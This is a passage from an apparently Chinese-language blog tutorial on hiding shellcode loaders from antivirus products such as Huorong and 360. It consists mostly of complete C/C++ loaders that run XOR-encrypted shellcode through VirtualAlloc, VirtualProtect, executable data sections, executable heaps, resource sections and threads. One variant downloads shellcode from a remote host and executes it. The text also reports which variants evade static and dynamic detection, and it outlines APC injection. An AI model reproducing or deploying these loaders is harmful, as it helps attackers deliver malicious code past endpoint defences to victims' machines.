(*)())exec_mem)(); return 0 ; }
扫一下,发现火绒是可以过的,360还是不行。
Strider师傅 说360还是建议黑加白过
shellcode内存加解密
shellcode内存加解密相对于之前的在程序运行时进行解密,那么释放到内存中的shellcode依旧是原始的,而在内存级别的自解密shellcode刚开始在内存中是一串未见到过的shellcode
SGN:一款功能强大的多模式二进制编码工具 - FreeBuf网络安全行业门户
1 2 3 4 sudo apt-get install libcapstone-devgit clone git@github.com:EgeBalci/sgn.git
shellcode分离 本地直接分离
简单来说,就是直接在加载器中读取文件(二进制文件raw)内容的形式取shellcode,然后加载运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <windows.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) #define _CRT_SECURE_NO_WARNINGS int main () { char filename[] = "shellcode.bin" ; FILE* file; if (fopen_s(&file, filename, "rb" ) != 0 ) { perror("Failed to open the code file." ); return 1 ; } fseek(file, 0 , SEEK_END); long size = ftell(file); fseek(file, 0 , SEEK_SET); char * code = (char *)malloc (size); if (!code) { perror("Failed to allocate memory for code." ); fclose(file); return 1 ; } if (fread(code, 1 , size, file) != size) { perror("Failed to read code from the file." ); fclose(file); free (code); return 1 ; } fclose(file); LPVOID addr = VirtualAlloc(NULL , size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, code, size); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); free (code); return 0 ; }
分离到网络
跟本地的唯一区别就是需要发起网络请求,然后获取shellcode的内容(16进制字符串\xfc,不是bin文件)
1 2 python -m http.server 9996
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include <windows.h> #include <winhttp.h> #include <iostream> #include <vector> #include <cstring> #pragma comment(lib, "winhttp.lib" ) #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) using namespace std ; char * WinGet (const char * ip, int port, const char * path) { HINTERNET hSession = NULL , hConnect = NULL , hRequest = NULL ; wchar_t ip_wchar[256 ], path_wchar[256 ]; MultiByteToWideChar(CP_ACP, 0 , ip, -1 , ip_wchar, 256 ); MultiByteToWideChar(CP_ACP, 0 , path, -1 , path_wchar, 256 ); hSession = WinHttpOpen(L"WinHTTP Example/1.0" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); if (!hSession) return nullptr; hConnect = WinHttpConnect(hSession, ip_wchar, port, 0 ); if (!hConnect) { WinHttpCloseHandle(hSession); return nullptr; } hRequest = WinHttpOpenRequest(hConnect, L"GET" , path_wchar, NULL , WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0 ); if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return nullptr; } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0 , WINHTTP_NO_REQUEST_DATA, 0 , 0 , 0 ) || !WinHttpReceiveResponse(hRequest, NULL )) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return nullptr; } DWORD dwSize = 0 , dwDownloaded = 0 ; vector <char > response; char buffer[1024 ]; do { if (!WinHttpQueryDataAvailable(hRequest, &dwSize) || dwSize == 0 ) break ; if (!WinHttpReadData(hRequest, buffer, min(dwSize, (DWORD)sizeof (buffer)), &dwDownloaded)) break ; response.insert(response.end(), buffer, buffer + dwDownloaded); } while (dwSize > 0 ); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); response.push_back('\0' ); return _strdup(response.data()); } void stringtoint (const char * string , vector <unsigned char >& ary) { while (*string ) { if (*string == '\\' && *(string + 1 ) == 'x' ) { int high = isdigit (*(string + 2 )) ? *(string + 2 ) - '0' : tolower (*(string + 2 )) - 'a' + 10 ; int low = isdigit (*(string + 3 )) ? *(string + 3 ) - '0' : tolower (*(string + 3 )) - 'a' + 10 ; ary.push_back((high << 4 ) | low); string += 4 ; } else { string ++; } } } int main () { char ip[] = "192.168.1.110" ; char path[] = "/p.txt" ; char * data = WinGet(ip, 9998 , path); if (!data) return 1 ; vector <unsigned char > shellcode; stringtoint(data, shellcode); free (data); if (shellcode.empty()) return 1 ; LPVOID addr = VirtualAlloc(NULL , shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!addr) return 1 ; memcpy (addr, shellcode.data(), shellcode.size()); HANDLE hThread = CreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)addr, NULL , 0 , NULL ); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } return 0 ; }
注意我们的shellcode要连在一起
更改
现在写的都是静态查杀,动态的都会被查杀的哈
指针运行 申请内存 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00" ;void main () { LPVOID addr = VirtualAlloc(NULL , sizeof (sc), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return ; } memcpy (addr, sc, sizeof (sc)); ((void (*)())addr)(); }
前两个函数是没有变的,(void(*)())
是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,
也就是说这行代码将 addr的地址转换为一个函数指针,然后调用该指针所指向的函数。
这里shellcode发现是会被杀的,决定用异或加密一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); LPVOID addr = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, buf, sizeof (buf)); ((void (*)())addr)(); }
很明显异或是没有杀的,但是动态还是会被杀的
修改内存属性 VirtualAlloc()
其实按理来说也没有必要,因为shellcode本身,那就是字符串本身就会在内存空间里边存着,你不需要在程序中又使用代码去分配内存,去保存它。
BUT
我们的内存本身是有属性的,默认保存数据的内存是不可执行的,只有读写的属性,如果让其变为可执行的,那么shellcode就可以正常执行了。
这里同样shellcode使用异或99进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); DWORD oldProtect = 0 ; VirtualProtect(buf, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); ((void (*)())&buf)(); }
老样子还是静态是不会杀的,动态是会被杀的。
修改data段属性 简单来说默认全局变量是存放在data段, 我们只要修改成data段的权限即可,修改为可执行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) #pragma comment(linker, "/section:.data,RWE" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); ((void (*)()) & buf)(); }
发现还是动态过不了
新增数据段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) #pragma data_seg("vdata" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; #pragma data_seg() #pragma comment(linker,"/SECTION:vdata,RWE" ) int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); ((void (*)()) & buf)(); }
这里笔者的虚拟机里边的火绒是静态和动态都没杀,但是笔者试了一下别人的火绒是被杀了的(挠头)
通过堆加载
除了通过链接器修改数据段的内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,将其地址赋给shellcode,也是一种规避VirtualAlloc,VirtualProtect api的一种实现方法,通过指针运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof (sc), 0 ); char * buffer = (char *)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof (sc)); memcpy (buffer, sc, sizeof (sc)); ((void (*)()) buffer)(); }
shellcode存放在资源节
针对PE文件,我们可以设置其资源文件,把我们的shellcode文件当做资源文件导入,然后在程序中定位到资源文件的位置,读取相应的字节大小,加载执行
1、导入资源
我觉得这个资源就是shellcode.bin
这里的shellcode是自己定义的,注意生成之后会给一个头文件resource.h
,注意下面代码即可。
1 >#define IDR_SHELLCODE1 101
IDR_SHELLCODE1通常用于标识和引用项目中的某个资源,如嵌入到可执行文件中的二进制文件数据,图像或其他类型的资源,在项目的其他部分,可以通过使用IDR_SHELLCODE1符号来引用这个资源,而不是直接进行数字常量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <Windows.h> #include "resource2.h" #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void main () { HRSRC Res = FindResource(NULL , MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode" ); DWORD ResSize = SizeofResource(NULL , Res); HGLOBAL Load = LoadResource(NULL , Res); void * buffer = VirtualAlloc(NULL , ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (buffer, Load, ResSize); ((void (*)()) buffer)(); }
但是这样的话连基本的静态都过不了。
这里使用用异或试一下
1 .\xor.exe shellcode.bin 99 out.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #include <Windows.h> #include <stdio.h> #include <stdlib.h> #include "resource.h" #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char * str, int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); HRSRC Res = FindResource(NULL , MAKEINTRESOURCE(IDR_OUT1), L"out" ); if (Res == NULL ) { printf ("Failed to find resource.\n" ); return 1 ; } DWORD ResSize = SizeofResource(NULL , Res); if (ResSize == 0 ) { printf ("Failed to get resource size.\n" ); return 1 ; } HGLOBAL Load = LoadResource(NULL , Res); if (Load == NULL ) { printf ("Failed to load resource.\n" ); return 1 ; } void * buffer = LockResource(Load); if (buffer == NULL ) { printf ("Failed to lock resource.\n" ); return 1 ; } unsigned char * processedBuffer = (unsigned char *)VirtualAlloc(NULL , ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (processedBuffer == NULL ) { printf ("Failed to allocate memory.\n" ); return 1 ; } memcpy (processedBuffer, buffer, ResSize); myXor(processedBuffer, ResSize, key); ((void (*)())processedBuffer)(); return 0 ; }
虽然静态是过了的。但是动态还是过不了哇,并且感觉真的很鸡肋啊!没必要感觉,这里还是使用了VirtualAlloc和memcpy这两个WindowsAPI啊!包被杀的哇。
创建线程运行 创建线程运行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) unsigned char sc[] = {"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00" }; void main () { LPVOID addr = VirtualAlloc(NULL , sizeof (sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return ; } memcpy (addr, sc, sizeof (sc)); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); }
其实就是把CrateThread这个函数给替换掉了,跟前面的指针运行差不多。
怎么说呢?这样直接生成加载器的话肯定还是不行,要跟前面的一样异或绕一下,并且动态还是过不了,因为你那两个WindowsAPI还是没有变动,so笔者这里就不准备尝试了。
APC注入运行 异步过程调用(APC)队列是一个与线程关联的队列,用于储存要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的APC队列,并在适当的时机触发队列中挂起的函数。APC队列通常用于实现线程间的异步通信、定时器回调以及异步I/O操作。
APC队列包括:
内核模式APC:由内核代码发起,通常用于处理内核级别的异步操作。如异步I/O完成。
用户模式APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的APC队列中,以便在线程上下文中异步操作。
实现思路:
使用VirtualProtect
函数修改shellcode
所在内存区域的保护属性,将其设置为可执行、可读、可写( PAGE_EXECUTE_READWRITE
),以便于执行其中的代码。
获取NtTestAlert
函数的地址。这是一个内部函数,无法直接通过函数名调用,NtTestAlert
函数用于检查当前线程的APC队列。如果队列中由挂起的用户模式APC请求,NtTestAlert
将触发他们的执行。
使用QueueUserAPC
函数向当前的线程的APC队列添加一个执行shellcode的任务。这将在NtTestAlert被调用时执行shellcode。
调用NtTestAlert
函数、触发APC队列中的任务执行、实现shellcode的执行。
